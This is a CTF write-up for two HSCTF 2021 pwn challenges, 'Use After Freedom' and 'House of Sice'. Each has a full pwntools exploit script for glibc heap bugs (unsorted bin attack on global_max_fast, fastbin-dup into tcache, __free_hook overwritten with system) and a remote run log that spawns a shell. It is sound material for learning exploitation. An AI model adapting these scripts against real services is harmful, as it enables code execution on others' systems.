HSCTF 2021 | PWN Writeups

Writeups of some challenges which i solved from HSCTF 2021

HSCTF 2021 | PWN

Use After Freedom

HSCTF%202021%20PWN%20f5ed0b2f31ce42fda334126e411b86ac/Untitled.png

TL;DR

Vulnerability: use after free

Exploit steps:

  1. Leak glibc address by freeing a chunk into unsorted bins
  2. Perform partial unlink (unsorted bin attack) to overwrite global_max_fast
  3. Free a 0x3940 sized chunk to overwrite __free_hook with the address of 0x3940 sized chunk
  4. Use write after free to change the fd of 0x3940 sized chunk with system
  5. Allocate a 0x3940 sized chunk so _free_hook becomes system
  6. Call free(/bin/sh)

Exploit

#!/usr/bin/env python3
from pwn import *

HOST, PORT = 'use-after-freedom.hsc.tf', 1337
exe = ELF('./use_after_freedom')
libc = exe.libc

def get_proc():
    if args.REMOTE:
        io = remote(HOST, PORT)
    else:
        io = process(exe.path)
    return io

io = get_proc()

gdbscript = """
continue
"""

if args.GDB and not args.REMOTE:
    gdb.attach(io, gdbscript=gdbscript)

idx = -1

def choose(choice):
    io.sendafter(b"> ", f"{choice}")

def obtain(size, data):
    global idx
    choose(1)
    io.sendafter(b"> ", f"{size}")
    io.sendafter(b"> ", data)
    idx += 1
    return idx

def loose(idx):
    choose(2)
    choose(idx)

def change(idx, data):
    choose(3)
    choose(idx)
    io.sendafter(b"> ", data)

def view(idx):
    choose(4)
    choose(idx)
    return io.recvline()

# leak libc address
a = obtain(0x420, b"codacker")
b = obtain(0x20 , b"guard")
d = obtain(0x3940, b"codacker")

loose(a)
libc_leak = u64(view(a).strip().ljust(8, b"\x00"))
libc.address = libc_leak-0x3ebca0
success(f"libc.address: {hex(libc.address)}")

# overwrite global_max_fast with partial unlink
change(a, p64(0xdeadbeef) + p64(libc.address + 0x3ed940 - 0x10))
c = obtain(0x420, b"/bin/sh\x00")
loose(d)
change(d, p64(libc.sym.system))
obtain(0x3940, b"codacker")
loose(c)

# hack the planet
io.interactive()
root@pwn-docker:/hack# ./xpl.py REMOTE
[*] '/hack/use_after_freedom'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./'
[*] '/hack/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to use-after-freedom.hsc.tf on port 1337: Done
[+] libc.address: 0x7f268dd91000
[*] Switching to interactive mode
$ cat flag
flag{ok_but_why_is_global_max_fast_even_writeable}

House of Sice

HSCTF%202021%20PWN%20f5ed0b2f31ce42fda334126e411b86ac/Untitled%201.png

TL;DR

Vulnerability: double free

Exploit steps:

  1. Fill up tcache bins
  2. Do fastbin-dup
  3. Call calloc to dump fastbins into tcache
  4. Overwrite __free_hook with system
  5. Call free(/bin/sh)

Exploit

#!/usr/bin/env python3
from pwn import *

HOST, PORT = 'house-of-sice.hsc.tf', 1337
exe = ELF('./house_of_sice')
libc = exe.libc

def get_proc():
    if args.REMOTE:
        io = remote(HOST, PORT)
    else:
        io = process(exe.path)
    return io

io = get_proc()

gdbscript = """
b* system
continue
"""

if args.GDB and not args.REMOTE:
    gdb.attach(io, gdbscript=gdbscript)

io.recvuntil(b"deet: ")
system = int(io.recvline(), 16)

libc.address = system-libc.sym.system
success(f"libc.address: {hex(libc.address)}")

idx = -1

def buy_deet_malloc(long_data):
    global idx
    io.sendafter(b"> ", f"1")
    io.sendafter(b"> ", f"1")
    io.sendafter(b"> ", f"{long_data}")
    idx += 1
    return idx

def buy_deet_calloc(long_data):
    global idx
    io.sendafter(b"> ", f"1")
    io.sendafter(b"> ", f"2")
    io.sendafter(b"> ", f"{long_data}")
    idx += 1
    return idx

def sell_deet(idx):
    io.sendafter(b"> ", f"2")
    io.sendafter(b"> ", f"{idx}")

for _ in range(7):
    buy_deet_malloc(0xdeadbeef)

a = buy_deet_malloc(0xdeadbeef)
b = buy_deet_malloc(0xdeadbeef)

for idx in range(7):
    sell_deet(idx)

sell_deet(a)
sell_deet(b)
sell_deet(a)

for _ in range(2):
    buy_deet_malloc(0xdeadbeef)

bad_deet = buy_deet_calloc(libc.sym.__free_hook)

buy_deet_malloc(u64(b"/bin/sh\x00"))
buy_deet_malloc(libc.sym.system)

sell_deet(12)

# hack the planet
io.interactive()
root@pwn-docker:/hack# ./xpl.py REMOTE
[*] '/hack/house_of_sice'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./'
[*] '/hack/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to house-of-sice.hsc.tf on port 1337: Done
[+] libc.address: 0x7f96a532b000
[*] Switching to interactive mode
$ cat flag
flag{tfw_the_double_free_check_still_sucks}
Security Engineer

I am a passionate geek who loves to break stuff and then make it again, with interests in cloud infrastructure, network security, reverse engineering, malware analysis and exploit development.

Related